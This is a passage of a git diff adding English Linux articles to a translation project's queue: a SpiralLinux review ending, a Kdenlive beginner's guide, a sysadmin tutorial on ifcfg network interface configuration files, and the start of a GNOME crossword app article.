+![Linux kernel 5.18][9] + +##### Non-free repositories + +![Non-free repos][10] + +Once in a while, we all need to install proprietary packages that are not available in default repositories. + +These non-free repositories include closed-source firmware and drivers, which will help install proprietary microcodes and other software unavailable in the default repository. + +##### Switching from Stable to Sid and Testing + +![Using Debian Sid][11] + +This is my favorite feature from the entire catalog. Just imagine, you can switch between stable, unstable, and testing branches without using a single command. + +The best part is that users are given simple instructions on how they can switch between branches. You can access them from [here.][12] + +##### Performance + +SpiralLinux is well optimized in terms of RAM consumption and makes it an ideal choice for low-end hardware if you choose the right desktop environment. + +I’ll show you what you can expect from [different desktop environments][13]. So if you are someone with decent hardware, you can opt for Cinnamon, as it only consumes around 900 MB of RAM in idle usage. + +![idle ram consumption on cinnamon de][14] + +But what if you are looking for something lighter? change your current DE to Xfce and as we already know, it is one of the most lightweight DEs; idle RAM consumption will only be around 600 MB. + +![Idle ram consumption on Xfce de][15] + +Either way, I didn’t encounter any performance issues, and things went well. + +#### Negatives + +SpiralLinux shines in various scenarios but I also encountered a few hiccups. Let me share them with you. + +##### Hardware Acceleration Issue in VM + +Once you boot into a VM without any hardware acceleration, you will be advised to enable it, as you may experience poor performance and high CPU usage. + +![Requires hardware acceleration for better performance][16] + +And once you enable hardware acceleration, you will find your VM is often crashing while booting. It’s no minor crash and makes your VM unstable. + +![VM Hardware acceleration issue][17] + +You can easily use SpiralLinux without enabling any hardware acceleration. I found no issues at all while using it without any acceleration enabled. + +##### Snap Issues + +While Snaps are not my go-to choice, I use them when I want to get away from building packages from source. But this was a below-average experience with snaps in SpiralLinux. + +I had two issues. One is that many of the snap packages were not even working. I even tried switching between other branches. + +This was the issue with the fresh installation, without even changing a single config file. I noticed that many of my favorite apps, such as Spotify and Slack were not working in Snap form. + +Some packages did work though. I use Shutter for screenshots and when I installed it using snaps, I was introduced to a quite outdated UI. + +![Shutter][18] + +The second problem was that any installed snap packed are not listed in the system menu by default. You can easily solve that issue by utilizing the given command: + +``` +sudo cp /var/lib/snapd/desktop/applications/*.desktop ~/.local/share/applications/ +``` + +But this was only with Snap packages. Flatpaks were working quite smoothly and none of the problems I mentioned above were faced with Flatpaks. + +### Final Thoughts + +I like the imagination of the developer. GeckoLinux is based on openSUSE. Since openSUSE logo/mascot is a chameleon, the developer named it Gecko (a type of lizard). + +The logo of Debian is a swirl, so the developer named the Debian variant SpiralLinux. + +Both have the intention of simplifying the experience of their popular parent distro. + +[Many other Debian-based distributions][19] have the same purpose as SpiralLinux. Linux Mint Debian Edition ([LMDE][20]) is one such example. + +Personally, I would prefer using the main distribution instead of its derivative. But I understand that a few users may find it more convenient to use these derivatives. + +I leave the comments open for you now. Do you think SpiralLinux has the potential to carve out a niche for itself or is it one of those distributions that will be lost in oblivion? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/spirallinux-review/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/geckolinux-review/ +[2]: https://geckolinux.github.io/ +[3]: https://spirallinux.github.io/ +[4]: https://itsfoss.com/debian-based-distros/ +[5]: https://itsfoss.com/install-debian-easily/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/spirallinux-flavors.png +[7]: https://itsfoss.com/what-is-desktop-environment/ +[8]: https://itsfoss.com/wp-content/uploads/2022/07/Calamares-installer-1.png +[9]: https://itsfoss.com/wp-content/uploads/2022/07/Linux-Kernel-5.18-1.png +[10]: https://itsfoss.com/wp-content/uploads/2022/07/Non-free-repos.png +[11]: https://itsfoss.com/wp-content/uploads/2022/07/Using-Debian-sid.png +[12]: https://github.com/SpiralLinux/SpiralLinux-project/wiki#switching-from-debian-stable-to-the-testing-or-unstable-branch +[13]: https://itsfoss.com/best-linux-desktop-environments/ +[14]: https://itsfoss.com/wp-content/uploads/2022/07/idle-RAM-consumption-on-Cinnamon-DE.png +[15]: https://itsfoss.com/wp-content/uploads/2022/07/idle-RAM-consumption-on-Xfce-DE.png +[16]: https://itsfoss.com/wp-content/uploads/2022/07/Reuires-hardware-acceleration-for-better-performance.png +[17]: https://itsfoss.com/wp-content/uploads/2022/07/VM-3D-acceleration-issue.png +[18]: https://itsfoss.com/wp-content/uploads/2022/07/Shutter.png +[19]: https://itsfoss.com/debian-based-distros/ +[20]: https://linuxmint.com/download_lmde.php diff --git a/sources/tech/20220730 Top 10 Kdenlive Features for Faster Video Editing [Beginner-s Guide].md b/sources/tech/20220730 Top 10 Kdenlive Features for Faster Video Editing [Beginner-s Guide].md new file mode 100644 index 0000000000..b01954ca1f --- /dev/null +++ b/sources/tech/20220730 Top 10 Kdenlive Features for Faster Video Editing [Beginner-s Guide].md @@ -0,0 +1,201 @@ +[#]: subject: "Top 10 Kdenlive Features for Faster Video Editing [Beginner’s Guide]" +[#]: via: "https://www.debugpoint.com/kdenlive-features/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 Kdenlive Features for Faster Video Editing [Beginner’s Guide] +====== +In this article, I will show you how easy to learn Kdenlive features and create awesome videos. + +![][0] + +Kdenlive is a free and open-source video editor for Linux, Windows and macOS. It’s a [KDE application][1] and is considered one of the best feature-rich video editors. Although other excellent contenders exist in the [free video editor][2] space, such as Blender and Da Vinci Resolve, Kdenlive is the “OG” of all. I think it has all the features you get for free instead of buying costly licenses from commercial video editors. + +Basic video editing in Kdenlive is easy if you know how to do it. Each of these Kdenlive features probably takes less than a minute to learn. + +In this article, I will show you some basic video editing operations in Kdenlive in the easiest way. + +### Top 10 Kdenlive Features + +#### 1. Create Title + +Titles are labels or simple texts which show on top of videos. They are similar to subtitles to explain the context of a frame or scene. It’s straightforward to create a custom title. + +From the menu, select `Project > Add Title Clip`. In the title clip window, you should see a canvas. It’s the size of your video. Now, you can write anything for your title. Moreover, you can change font, colour, size and other text attributes from the right pane. You can add a background via the custom shapes at the top if you wish to add a background. + +Once done, you can click the `Create Title` button, which should be added to your video. Now you can drag the title to the timeline for further manipulation. + +If you want to change something on the Title again, you can `Right-Click` on the title and select `Edit Clip`. + +![Create Title Clip in Kdenlive][3] + +#### 2. Animation in titles + +Suppose you want to do some basic animations of titles, such as zoom-in, zoom-out, and vertical/horizontal scrolling. In that case, it’s super easy via the Animation tab in the edit title dialogue. + +The Animation tab has two main buttons – `Edit Start viewport` and `Edit End viewport`. You can use these two buttons to animate your title. + +For example, click the Edit Start Viewport if you want to scroll a text from bottom to top. It will give you GREEN Canvas. Using the mouse, drag the canvas to the top of the screen. + +Similarly, click on the Edit End Viewport and drag the RED canvas to the bottom, as shown below. + +![Basic Title Animation in Kdenlive][4] + +Now, press Update TItle to change it. The animation happens as if the camera is moving from Start (top) to the End viewport (Bottom) – effectively making your title go from bottom to top. + +![Sample Animation with the above example viewport][5] + +Now you can also play around with several options, such as the duration of the animation. In addition, if you want to zoom in or out, you can change the aspect ratio as well similarly. Moreover, you can also rotate the titles via the X, Y and Z axis as well. + +Finally, you can use all the above features to get the desired animations. + +#### 3. One-click transition (fade in and fade out) + +In Kdenlive, you can easily apply the fade-in and fade-out transition in any clip with just one click. Select any clip (video, audio or title) and mouseover. On the left top section, you should see a green circle. Drag that green circle to the right on how long you want the transition. + +Similarly, on the right-top, you should see a red circle. And you can repeat the steps easily. + +See the below image. + +![How easy to add fade-in and fade-out in Kdenlive][6] + +Additionally, you can further change the time or ‘fade to black’ effect in your transitions with settings on the right side. + +![Fade-in and Fade-out example][7] + +See how easy it is to add a transition? + +#### 4. Cut video, audio & anything + +The most used operation in any video editing is cutting the clips. Kdenlive makes it so easy for you. It is required for better storytelling and composition. + +To cut a clip, simple use the `Razor tool` or press `X` after selecting the clip. Then click on the timestamp where you want it to happen. And that’s it. You can now use the pointer tool to move around the clipped part or delete them. + +See it in action below. + +![Slicing the clips is super easy in Kdenlive][8] + +#### 5. Moving a section of blocks + +When working on a complex edit, such as movies or short films, you create hundreds of small clips across tracks in the timeline. Moving them as a single or a group might feel tedious at first. But Kdenlive makes it easy. + +You can quickly move a single clip, or a set of clips together left or right via the `spacer tool` or by pressing `M` from the keyboard. Click on the spacer tool and drag your mouse for easy movement. Keep the mouse pointer in the proper place to move them around. + +In addition, you can also press Left Shift from the keyboard and select a select of clips to move. + +![Moving the clips using the spacer tool][9] + +#### 6. Reusing a title + +Reusing stuff saves time and money for everyone. Especially when you spend some hours creating that stunning title animation, and next time, you can import it to your next project and use it. + +So to save a title animation, open the `Edit Title Clip` window and click on the `Save As` button in the toolbar. Then give a name and save it. The file saves in your home `Videos > Titles` folder. + +Next time, you can open `Project Bin > Add Template Title` and select the one you saved. + +![Saving the title clips][10] + +It’s super easy. Also, you may want to download a massive list of pre-made titles from the [Kde Store][11]! + +#### 7. Changing colour profiles + +Colour grading is an important aspect of movie making or video editing. It often comes during the post-production phase. Kdenlive brings a vast list of colour effects you can combine and use for your target story. + +To apply the colour effects, go to the `Effects` tab in the project Bin. Then drag any `Colour and Image Correction` effect to the target clip. And now, you can apply or tweak various settings for that effect using the right panel. + +All the changes are live in the canvas for easy preview. + +![Colour Grading in Kdenlive][12] + +#### 8. Audio volume controls + +Similar to video or colour profiles, audio is also an essential item to consider in storytelling. The actual camera footage may have noises or volume problems. In Kdenlive, you can easily change the volume decibels. Select the audio track; on the right side, you should see the left and right channels. Also, the master control allows you to change the audio channels’ decibels. + +You can also add various effects to the Audio from the effects tab. + +![Changing Audio track properties][13] + +#### 9. Pan and Zoom + +The Pan and Zoom effect is easy to apply if you know how to use it in Kdenlive. Here’s how you can apply a zoom animation to a video section. + +* Drag the Transform, `Distort and Perspective > Transform` effect to the clip. +* Move the pointer to a position where you want the zoom to effect (say up to 200%). +* Click on `add Keyframe`. On this, the keyframe changes its size to 200%. +* Now, if you play from the beginning, you should see the video zooming in to 200%. + +* Similarly, if you want to Pan, move the pointer to the specific position. Then click add a keyframe. +* On the preview canvas, there is a red circle in the centre. Drag the circle to the position where you want to pan into. And that’s it. + +If you play it now, you can see the video pans into your keyframe timestamp. + +Now there are various options such as X, Y and Z axis change of the clip, keyframe interpolation and compositing, which you can play around with. + +Here’s a quick video demonstrating the above two pan and zoom methods – the easiest way. + +![][14] + +#### 10. Freeze frame + +If you want a still frame from a video, you can also do that using Kdenlive. To do that, go to the video timestamp you want to freeze. `Right-click` on the preview and select `Extract Frame to Project`. It creates a jpg file of the frame of the video and adds it to the project bin. + +Once done, you can cut the clip using the Razor tool, drag the image down and append the rest of the clips. So, effectively you now have a freeze frame of a single moment in your video. + +![][15] + +### Bonus Tip: Create vertical videos for Instagram Reels and others + +The entire world’s concentration time narrowed down to 30 seconds of vertical videos. And that’s why Instagram, Tiktok and other social feeds or reels are becoming popular. + +Using Kdenlive, you can easily create these vertical videos. + +Create a new project, and select the Settings tab in the project settings window. Various project profiles are available for your project or target resolutions inside the settings. Select Custom > Vertical HD 60fps. You can also change the pre-sets and create a new profile. And then, you can create titles and animations like any other videos. + +![Project Settings in Kdenlive][16] + +### Wrapping Up + +If you went through all the Kdenlive features above, then I guess you are ready to create incredible videos for YouTube or streaming platforms. They are super easy to use and help you to save time for faster video creation. + +Remember that the above list of features is just scratching the surface since it’s for beginners only. There are hundreds of features of Kdenlive if you want to learn. + +Once you know the basics, you can learn & experience more to create stunning videos and movies. + +That’s why I said Kdenlive is an underrated tool and “OG” of all video editors. Finally, I hope this article helps you learn KDenlive quickly. + +Also, do you want similar articles or deep-dive in each feature for other open-source apps? Let me know the names in the comment box below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/kdenlive-features/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[0]: https://www.debugpoint.com/wp-content/uploads/2022/07/kdenlive-head.jpg +[1]: https://www.debugpoint.com/tag/kde-apps +[2]: https://www.debugpoint.com/best-free-video-editors-linux-ubuntu/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/07/Create-Title-Clip-in-Kdenlive.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/07/Basic-Title-Animation-in-Kdenlive.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/07/Sample-Animation-with-above-example-viewport.gif +[6]: https://www.debugpoint.com/wp-content/uploads/2022/07/How-easy-to-add-fade-in-and-fade-out-in-Kdenlive.gif +[7]: https://www.debugpoint.com/wp-content/uploads/2022/07/Fade-in-and-Fade-out-example.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/07/Slicing-the-clips-are-super-easy-in-Kdenlive.gif +[9]: https://www.debugpoint.com/wp-content/uploads/2022/07/Moving-the-clips-using-spacer-tool.gif +[10]: https://www.debugpoint.com/wp-content/uploads/2022/07/Saving-the-title-clips.png +[11]: https://store.kde.org/browse?cat=335 +[12]: https://www.debugpoint.com/wp-content/uploads/2022/07/Colour-Grading-in-Kdenlive.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/07/Changing-Audio-track-properties.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/07/How-to-Pan-and-Zoom-in-Kdenlive-easy-way.mp4 +[15]: https://www.debugpoint.com/wp-content/uploads/2022/07/Freeze-frame-in-Kdenlive.mp4 +[16]: https://www.debugpoint.com/wp-content/uploads/2022/07/Project-Settings-in-Kdenlive.jpg diff --git a/sources/tech/20220803 A sysadmin-s guide to network interface configuration files.md b/sources/tech/20220803 A sysadmin-s guide to network interface configuration files.md new file mode 100644 index 0000000000..bce8ab3cf6 --- /dev/null +++ b/sources/tech/20220803 A sysadmin-s guide to network interface configuration files.md @@ -0,0 +1,284 @@ +[#]: subject: "A sysadmin's guide to network interface configuration files" +[#]: via: "https://opensource.com/article/22/8/network-configuration-files" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A sysadmin's guide to network interface configuration files +====== +Simplify the complex world of interface configuration files with this handy tutorial. + +![Why the operating system matters even more in 2017][1] + +Image by: Internet Archive Book Images. Modified by Opensource.com. CC BY-SA 4.0 + +In the first article of this series, [Get started with NetworkManager on Linux][2], I looked at what NetworkManager does and some of the tools it provides for viewing network connections and devices. I discussed using the `nmcli` command to view the status of network devices and connections on a host. I also mentioned that NetworkManager does not need interface configuration files for most hosts. However, it can create its own INI-style connection configuration files, and it recognizes the older and now deprecated network interface configuration files. + +This article explores three questions: + +* Why do I not use interface configuration files? +* Why do I use interface configuration files? +* Why do I use the old network interface configuration files? + +Sound confusing? Read on. + +### My network philosophy + +I talk about philosophy a lot. I even wrote a book, [The Linux Philosophy for SysAdmins][3], which has tenets that apply to the design and structure of computers, operating systems, and networks. I won't bore you with all the details, but there are some things to consider when designing–or redesigning–a network. + +As a "Lazy SysAdmin," I like to "Find the Simplicity"–yes, those are two of the tenets–and create an elegant network design. This is not just about the physical design and layout of the network components and wiring, although the best, most elegant, and easiest networks to work on are well laid out physically and look good. However, this discussion is about the logical structure of the network. + +### Why I don't use interface configuration files? + +I don't use interface configuration files on my network mostly because each host is dynamically configured at boot time using the [Dynamic Host Configuration Protocol (DHCP) server][4]. This allows centralized configuration and management of a few computers up to hundreds or even thousands of systems. The bottom line is that all the configuration data necessary for each host is stored in the DHCP configuration file, `/etc/dhcp/dhcpd.conf`, where it is centrally managed. + +I impose simplicity on my network by using tools that provide central management for most of the connected hosts–all except for hosts that work as routers and provide server services. The idea is that using DHCP to provide all of the network configuration data needed by most of the network hosts simplifies my job and allows me to be the "Lazy SysAdmin." Suppose something changes on the network, such as the IP address to the default gateway or the primary name server? Changing that information in a single location, the `dhcpd.conf` file, is much less work than changing a static configuration on ten or a thousand hosts. + +NetworkManager does not need local configuration files when DHCP provides the network configuration information. By default, all Fedora and Red Hat hosts obtain their network configuration from a DHCP server. This makes installing new hosts on a network easy and simple. All you need is a DHCP server. + +For most networks with a single host, such as in a home office with one or two laptops and a few other devices, the wireless router provided by the ISP contains the DHCP server required to offer a complete set of configuration data to all your devices. The router's DHCP server provides the network configuration data even if you use the 4-port wired switch on the back of most wireless routers to connect a wired desktop computer. + +### Why I do use interface configuration files? + +Most of my network hosts don't need static network configurations and use DHCP. + +However, there are two hosts on which I do use static network configuration: My network server–the one that runs the DHCP server–and the Linux host I use for my network/firewall. These two hosts are best configured using static setups that don't depend upon external configurations. + +Think about this for a minute. If the DHCP server must have an IP address to send network configuration information, including an IP address, to itself… Well, that just won't work—sort of the network equivalent of the chicken and egg situation. + +DHCP clients request network configuration using a broadcast on the network, and the server responds to that request using the MAC address of the requesting client. The DHCP server cannot also be a DHCP client, so this just won't work. + +Even if using the DHCP server to set its own IP address–and other network configuration attributes–could be made to work, all of the recommendations I see on the Internet suggest that it would be a really terrible idea and that no good administrator would even consider doing such a thing. + +The Linux host I use for a router and firewall has four network interfaces, three of which are currently active, and one on the motherboard, which is defective. It also has a set of forwarding and routing rules that must always be consistent. This configuration is best dealt with using static network settings. + +For example, one interface on my router connects to the WAN side of my wireless router. The wireless router provides an internal DHCP server for hosts connected to its LAN and WiFi side but depends upon either static or DHCP configuration on the WAN side. So I configure both the WAN side of the wireless router and the NIC that connects it to my Linux router using a static setup. + +Another interface on that Linux router connects to the outside world via a static IP address provided by my ISP. If I set that interface to be configured by DHCP, the ISP's router would serve it one of the remaining other IP addresses in the eight-address block I have been assigned. + +Any type of static network configuration, as opposed to DHCP, requires network configuration files. + +### Why I still use the old style ifcfg- files + +The answer to this is really simple. I just have not gotten around to making the switch. These files are located in the `/etc/sysconfig/network-scripts` directory, and–fortunately for me–NetworkManager will still search for and use these if it has none of its own network connection files. There won't be any network connection files because they do not get created automatically, and I have not needed to create them. + +I intend to make the switch in Part 3 of this series and bring my network up to current configuration practices. For now, however, it is still a good idea to know about the old-style network configuration files because there are still a lot of them around. + +### What I have now + +I'll review the current state of the network on my router. Aside from the local loop (`lo` )–which is always present on Unix and Linux hosts–this host currently has three active network interface cards (NICs). Due to the problems with the on-board NIC described in Part 1 of this series, I deactivated it in UEFI/BIOS of this host so that it no longer shows up. I have also [disabled IPv6][5] on my network as I don't need it. + +The following is the `nmcli` command showing the state of the NICs on my router/firewall host: + +``` +[root@wally ~]# nmcli +np4s0: connected to enp4s0 +        "Realtek RTL8111/8168/8411" +        ethernet (r8169), 84:16:F9:04:44:03, hw, mtu 1500 +        ip4 default +        inet4 45.20.209.41/29 +        route4 45.20.209.40/29 metric 102 +        route4 default via 45.20.209.46 metric 102 +  +enp1s0: connected to enp1s0 +        "Realtek RTL8111/8168/8411" +        ethernet (r8169), 84:16:F9:03:E9:89, hw, mtu 1500 +        inet4 192.168.10.1/24 +        route4 192.168.10.0/24 metric 101 +  +enp2s0: connected to enp2s0 +        "Realtek RTL8111/8168/8411" +        ethernet (r8169), 84:16:F9:03:FD:85, hw, mtu 1500 +        inet4 192.168.0.254/24 +        route4 192.168.0.0/24 metric 100 +  +lo: unmanaged +        "lo" +        loopback (unknown), 00:00:00:00:00:00, sw, mtu 65536 +  +DNS configuration: +        servers: 192.168.0.52 8.8.8.8 8.8.4.4 +        interface: enp4s0 +  +        servers: 192.168.0.52 8.8.8.8 +        interface: enp2s0 +  +        servers: 192.168.0.52 8.8.8.8 +        interface: enp1s0 +``` + +Each of these NICs has an interface configuration file in the `/etc/sysconfig/network-scripts/` directory. This is because they were originally installed at a time when NetworkManager—or the earlier network service—created those files automatically during installation. Since NetworkManager continues to recognize these files, there is no pressing need for me to do anything different. + +### Interface configuration file naming + +Fortunately, most of you missed out on some of the fun all us old-time sysadmins used to have when adding, removing, or just moving the NIC hardware in hosts with multiple NICs. It seemed like all of the NICs would get renamed whenever anything changed. That meant I would need to determine which name each NIC was given and modify the interface configuration files to match the correct names. + +There are now very consistent NIC naming conventions based on the NIC's logical position on the PCIe or USB data busses. This convention was created around 2009 to eliminate those problems. + +#### How it works–sort of + +The `udev` device manager detects when a new device has been added to the system, such as a new NIC, and creates a rule to identify and name it if one does not already exist. During the early part of the startup phase, the Linux kernel uses `udev` to identify connected devices, including network interface controllers. At this stage, the devices are still known by their traditional names of **ethX**. Shortly after that, `systemd` renames the devices according to a series of hierarchical naming schemes. + +I used my firewall system as an example of a system with multiple network connections. You can also do this on your own Linux hosts. + +``` +[root@wally ~]# dmesg | grep eth +[    2.081738] r8169 0000:01:00.0 eth0: RTL8168e/8111e, 84:16:f9:03:e9:89, XID 2c2, IRQ 126 +[    2.081830] r8169 0000:01:00.0 eth0: jumbo features [frames: 9194 bytes, tx checksumming: ko] +[    2.089218] r8169 0000:02:00.0 eth1: RTL8168e/8111e, 84:16:f9:03:fd:85, XID 2c2, IRQ 127 +[    2.089303] r8169 0000:02:00.0 eth1: jumbo features [frames: 9194 bytes, tx checksumming: ko] +[    2.094383] r8169 0000:04:00.0 eth2: RTL8168e/8111e, 84:16:f9:04:44:03, XID 2c2, IRQ 128 +[    2.094467] r8169 0000:04:00.0 eth2: jumbo features [frames: 9194 bytes, tx checksumming: ko] +[    2.142068] r8169 0000:01:00.0 enp1s0: renamed from eth0 +[    2.152128] r8169 0000:04:00.0 enp4s0: renamed from eth2 +[    2.161346] r8169 0000:02:00.0 enp2s0: renamed from eth1 + +[root@wally ~]# +``` + +This example shows that a little over two seconds into the Linux startup sequence, the **ethX** network devices were located, and less than a second later, they were renamed **enpXs0**. + +All current releases of RHEL, CentOS, and Fedora use the newest NIC naming conventions. Most other distros also use this naming convention. + +The NIC naming convention for these distributions is described in detail in the RHEL 7 document, "Networking Guide," with an explanation of how the names are derived. Using the NetworkManager tools to manage networking is covered in the RHEL 8 document, "Configuring and Managing Networking." + +The following is an excerpt from Chapter 11 of the RHEL 7 "Networking Guide": + +* Scheme 1: Names incorporating Firmware or BIOS provided index numbers for on-board devices (example: eno1), are applied if that information from the firmware or BIOS is applicable and available, else falling back to scheme 2. +* Scheme 2: Names incorporating Firmware or BIOS provided PCI Express hotplug slot index numbers (example: ens1) are applied if that information from the firmware or BIOS is applicable and available, else falling back to scheme 3. +* Scheme 3: Names incorporating physical location of the connector of the hardware (example: enp2s0), are applied if applicable, else falling directly back to scheme 5 in all other cases. +* Scheme 4: Names incorporating interface's MAC address (example: enx78e7d1ea46da), is not used by default, but is available if the user chooses. +* Scheme 5: The traditional unpredictable kernel naming scheme, is used if all other methods fail (example: eth0). + +The primary function of the revised naming schemes is to provide a consistent set of NIC names so that installing a new NIC or even just a reboot would not cause the NIC names to change. This by itself is well worth the changes. I have had plenty of opportunities to fight with the apparently random renaming of multiple **ethX** devices on a single host. That was much less fun than learning the revised naming schemes. + +### Understanding interface configuration files + +These interface configuration files are easy to create and modify. The following configuration files on my firewall/router host are all located in the `/etc/sysconfig/network-scripts` directory. This directory previously contained all of the scripts used to manage the network connections, but NetworkManager has made them obsolete. Only the deprecated interface configuration files might remain in this directory. + +``` +-rw-r--r-- 1 root root 381 Jan 11 +2021 ifcfg-enp1s0 +-rw-r--r-- 1 root root 507 Jul 27 +2020 ifcfg-enp2s0 +-rw-r--r-- 1 root root 924 Mar 31 14:24 ifcfg-enp4s0 +``` + +This is the configuration file for the interface that connects the firewall host to my home network, as you can see from the comment: + +``` +[root@wally network-scripts]# cat ifcfg-enp2s0 +# Interface configuration file for enp2s0 / 192.168.0.254 +# This interface is for the internal network +# Correct as of 20220711 +HWADDR=84:16:f9:03:fd:85 +NAME="enp2s0" +TYPE=Ethernet +ONBOOT=yes +BOOTPROTO=static +IPADDR=192.168.0.254 +PREFIX=24 +DNS1=192.168.0.52 +DNS2=8.8.8.8 +DEFROUTE=no +PEERDNS=yes +PEERROUTES=no +IPV4_FAILURE_FATAL=no +``` + +This file is for a fairly simple static configuration that provides the IP address, the CIDR prefix, and two DNS server IP addresses. No default route (gateway) IP address is specified as that is configured in one of the other interface configuration files. + +The code block below shows the interface configuration file for the connection from my Linux router to the ISP's router. It uses one of the static IP addresses provided to me by my ISP. + +``` +############################################################################## +# Interface configuration file for enp4s0 / 45.20.209.41 +# This NIC was installed to circumvent problems with motherboard NIC, eno1. +------------------------------------------------------------------------------ +# This interface is for the WAN - the AT&T fiber optic external network +# Correct as of 20220711 +############################################################################## +TYPE= "Ethernet" +BOOTPROTO="static" +NM_CONTROLLED= "yes" +DEFROUTE= "yes" +NAME=enp4s0 +UUID="fa2117dd-6c7a-44e0-9c9d-9c662716a352" +ONBOOT= "yes" +HWADDR=84:16:f9:04:44:03 +IPADDR=45.20.209.41 +PREFIX=29 +GATEWAY=45.20.209.46 +DNS1=192.168.0.52 +DNS2=8.8.8.8 +DNS3=8.8.4.4 +PEERDNS=no +IPv6INIT=no +IPv6_AUTOCONF=no +IPv6_DEFROUTE=no +``` + +Since I don't use IPv6 and have disabled it, I could delete the IPv6 statement in both files. + +#### Network configuration variables + +The table below lists the most common network configuration variables, along with some brief explanations for each. Many IPv6 options are functionally equivalent to the similarly named IPv4 ones. Local configuration variable settings override those provided by a DHCP server. You can use DHCP for configuring a host but use an interface configuration file to override one or more of the DHCP configuration variables. + +| Configuration variable | Description | +| :- | :- | +| TYPE | Type of network such as Ethernet or token ring. | +| PROXY_METHOD | Proxy configuration method. "none" means no proxy is in use. | +| BROWSER_ONLY | Whether a proxy configuration is for browsers only. | +| BOOTPROTO | Options are dhcp, bootp, none, and static. The "none" option implies DHCP. | +| DEFROUTE | This interface is the default route for this host to the outside world. | +| IPv4_FAILURE_FATAL | If this is set to "no" failure to obtain an IPv4 connection will not affect any attempt to make an IPv6 connection. | +| NAME | The interface name, such as enp0s3. This should match the interface name in the interface configuration file name. | +| UUID | A Universally Unique Identifier for the interface. It is created with a hash of the interface name. The HWADDR is an older means of bonding the file to the hardware interface, and I have found that the UUID can be commented out or deleted without issues. | +| DEVICE | The name of the interface to which this configuration file is bound. | +| ONBOOT | If yes, this starts the interface at boot (really startup time). If set to no, the interface is not started until a user logs in at the GUI or manually starts the interface. | +| HWADDR | The MAC address of the interface. This is one of the more important fields in the file as it is used to bond the file to the correct hardware interface. The UUID is a more recent addition and can also be used, but the HWADDR was first and is more widely used. | +| DNS1, DNS2 | Up to two name servers may be specified. | +| USERCTL | Specifies whether non-privileged users may start and stop this interface. Options are yes/no. | +| IPADDR | The IP Address assigned to this NIC. | +| BROADCAST | The broadcast address for this network such as 10.0.2.255. | +| NETMASK | The netmask for this subnet such as 255.255.255.0. Use either NETMASK or PREFIX but not both. | +| PREFIX | The CIDR prefix for the network such as 24. Use either NETMASK or PREFIX but not both. | +| NETWORK | The network ID for this subnet such as 10.0.2.0. | +| SEARCH | The DNS domain name to search when doing lookups on unqualified hostnames such as using studentvm1 instead of studentvm1.example.com. | +| GATEWAY | The network router or default gateway for this subnet, such as 10.0.2.1. | +| PEERDNS | The yes value indicates that /etc/resolv.conf is to be modified by inserting the DNS server entries specified by DNS1 and DNS2 options in this file. No means do not alter the resolv.conf file. Yes is the default when DHCP is specified in the BOOTPROTO line. | +| IPv6INIT | Whether to initialize IPv6 or not. The default is yes. | +| IPv6_AUTOCONF | Yes means use DHCP for configuration of IPv6 on this interface. | +| IPv6_DEFROUTE | This interface is the IPv6 default route for this host to the outside world. | +| IPv6_FAILURE_FATAL | If this is set to "no" failure to obtain an IPv6 connection will not affect any attempt to make an IPv4 connection. | +| IPv6_ADDR_GEN_MODE | Configure IPv6 Stable Privacy addressing. | + +There are many more configuration variables than are listed here, but these are the ones that are most frequently used. + +### Final thoughts + +There are still plenty of Linux hosts around that use the interface configuration files described in this article. Despite being deprecated, NetworkManager still recognizes these files and can use them to configure network interfaces. However, most modern Linux systems use NetworkManager, so no configuration files are needed unless they serve a special use case, like a server or a router. + +I have a few hosts that require more than just the standard NetworkManager configuration. For me, it has just not been a priority to change from the old interface configuration files to the current connection configuration files used by NetworkManager. To prevent future problems with my network, I need to switch to the NetworkManager network connection files. The next article in this series will describe how I make that switch. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/network-configuration-files + +作者:[David Both][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/yearbook-haff-rx-linux-file-lead_0.png +[2]: https://opensource.com/article/22/4/networkmanager-linux +[3]: http://www.both.org/?p=855 +[4]: https://opensource.com/article/22/7/configure-dhcp-server +[5]: https://opensource.com/article/22/8/disable-ipv6 diff --git a/sources/tech/20220803 Play Crossword Puzzle Games on Linux Desktop With this Brand New GNOME App.md b/sources/tech/20220803 Play Crossword Puzzle Games on Linux Desktop With this Brand New GNOME App.md new file mode 100644 index 0000000000..e72ff605f6 --- /dev/null +++ b/sources/tech/20220803 Play Crossword Puzzle Games on Linux Desktop With this Brand New GNOME App.md @@ -0,0 +1,121 @@ +[#]: subject: "Play Crossword Puzzle Games on Linux Desktop With this Brand New GNOME App" +[#]: via: "https://itsfoss.com/crosswords/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Play Crossword Puzzle Games on Linux 